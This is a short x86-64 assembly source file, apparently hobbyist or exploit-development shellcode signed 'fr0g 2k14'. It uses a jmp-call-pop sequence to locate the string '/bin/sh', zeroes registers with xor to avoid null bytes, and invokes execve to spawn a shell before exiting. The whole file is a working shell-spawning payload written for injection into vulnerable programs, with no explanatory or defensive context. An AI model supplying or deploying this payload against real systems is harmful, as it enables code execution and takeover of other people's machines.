[BITS 64]
;;fr0g 2k14
	global _start

_start:	
	jmp do_call
jmp_back:
	mov rdi, [rsp]
	add rsp, 8
	xor rax, rax
	mov al, 0x3b
	xor rsi, rsi
	xor rdx, rdx
	syscall
	mov al, 60
	xor rdi, rdi
	syscall
	ret
do_call:
	call jmp_back
hello:	db "/bin/sh"